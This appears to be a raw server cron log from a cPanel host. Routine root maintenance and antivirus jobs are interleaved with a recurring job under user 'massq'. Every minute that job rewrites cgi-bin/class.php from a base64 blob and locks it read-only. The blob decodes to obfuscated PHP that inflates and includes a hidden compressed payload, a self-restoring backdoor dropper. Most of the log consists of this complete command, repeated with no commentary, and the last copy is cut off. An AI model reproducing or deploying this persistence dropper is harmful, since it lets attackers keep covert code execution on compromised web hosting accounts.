Sep  1 11:00:01 server CROND[12965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:00:01 server CROND[12966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:00:01 server CROND[12962]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 11:00:01 server CROND[12963]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:00:01 server CROND[12968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:01:01 server CROND[13877]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 11:01:01 server CROND[13879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:01:01 server CROND[13880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:01:01 server CROND[13878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:01:01 server run-parts(/etc/cron.hourly)[13877]: starting 0anacron
Sep  1 11:01:01 server run-parts(/etc/cron.hourly)[13900]: finished 0anacron
Sep  1 11:02:01 server CROND[14286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:02:01 server CROND[14287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:02:01 server CROND[14288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:03:01 server CROND[14680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:03:01 server CROND[14681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:03:01 server CROND[14682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:04:01 server CROND[15061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:04:01 server CROND[15062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:04:01 server CROND[15064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:05:01 server CROND[15473]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 11:05:01 server CROND[15474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:05:01 server CROND[15476]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 11:05:01 server CROND[15477]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:05:01 server CROND[15480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:05:01 server CROND[15486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:05:01 server CROND[15484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:05:01 server CROND[15485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:05:01 server CROND[15487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:06:01 server CROND[16359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:06:01 server CROND[16358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:06:01 server CROND[16360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:07:01 server CROND[16835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:07:01 server CROND[16837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:07:01 server CROND[16836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:08:01 server CROND[17227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:08:01 server CROND[17228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:08:01 server CROND[17229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:09:01 server CROND[17613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:09:01 server CROND[17614]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 11:09:01 server CROND[17615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:09:01 server CROND[17616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:10:01 server CROND[18014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:10:01 server CROND[18015]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:10:01 server CROND[18018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:10:01 server CROND[18021]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:10:01 server CROND[18022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:10:01 server CROND[18023]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:10:01 server CROND[18025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:10:01 server CROND[18024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:11:01 server CROND[18866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:11:01 server CROND[18867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:11:01 server CROND[18868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxc